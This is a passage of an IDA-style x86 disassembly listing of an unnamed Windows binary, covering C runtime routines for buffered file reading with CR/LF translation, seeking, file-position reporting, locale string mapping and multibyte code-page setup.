loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------


loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------


loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_48B340[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------


loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_43BC20


loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h


loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_48B440
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:48B340h[eax*4]
		mov	eax, dword_48B340[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2611183h
		test	eax, eax
		jnz	short loc_41E3E9
		call	near ptr 2630313h
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_48A014, 9
		mov	dword_48A018, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD


loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------


loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------


loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh


loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3


loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------


loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2611183h
		test	eax, eax
		jnz	short loc_41E48A
		call	near ptr 2630313h
		nop
		test	eax, eax
		jnz	short loc_41E4D1


loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC


loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------


loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5


loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh


loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi


loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------


loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al


loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------


loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh


loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_48B440
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:48B340h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_48A014, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 26B0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		call	near ptr 2630313h
		nop
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------


loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax


loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------


loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_48A018, 0
		mov	dword_48A014, 9


loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh


loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx


loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_48B340[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx


loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]


loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------


loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_48A014, 16h


loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------


loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:48B340h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]


loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------


loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------


loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7


loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]


loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]


loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_48A0C0, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_48A0C0, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------


loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_43C824
		push	esi
		push	edi
		call	near ptr 2850000h
		nop
		test	eax, eax
		jz	loc_41E897
		mov	dword_48A0C0, 2


loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_48A0C0
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2850000h
		jmp	loc_41E899
; ---------------------------------------------------------------------------


loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_48A0B8
		mov	[ebp+arg_18], eax


loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2610000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2610000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2860000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	loc_41E926


loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax


loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2860000h
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------


loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2790000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897


loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_48B444
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_43B940


loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43BA30
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 2861185h
		nop
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		cmp	[ebp+var_18], 1
		mov	dword_48B444, esi
		rep stosd
		stosb
		mov	dword_48B664, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]


loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_48B561[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------


loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_48B560
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43B950[esi]


loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26


loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_43B938[edx]


loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_48B561[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14


loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA


loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_48B45C, 1
		push	eax
		mov	dword_48B444, eax
		call	sub_41EB10
		lea	esi, dword_43B944[esi]
		mov	edi, offset dword_48B450
		movsd
		movsd
		pop	ecx
		mov	dword_48B664, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4


loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax


loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_48B561[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_48B664, eax
		mov	dword_48B45C, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------


loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_48B45C, ebx


loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_48B450
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_48A0C4, ebx
		jz	short loc_41EABE


loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43


loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C


loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
		xor	eax, eax
		jmp	short loc_41EAC1
; ---------------------------------------------------------------------------


loc_41EABE:				; CODE XREF: sub_41E92D+181j
		or	eax, 0FFFFFFFFh


loc_41EAC1:				; CODE XREF: sub_41E92D+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E92D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EAC6	proc near		; CODE XREF: sub_41E92D+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_48A0C4, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41EAE6
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 25E02D3h
; ---------------------------------------------------------------------------


loc_41EAE6:				; CODE XREF: sub_41EAC6+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41EAFB
		mov	dword_48A0C4, 1
		nop
		jmp	near ptr 28618EEh
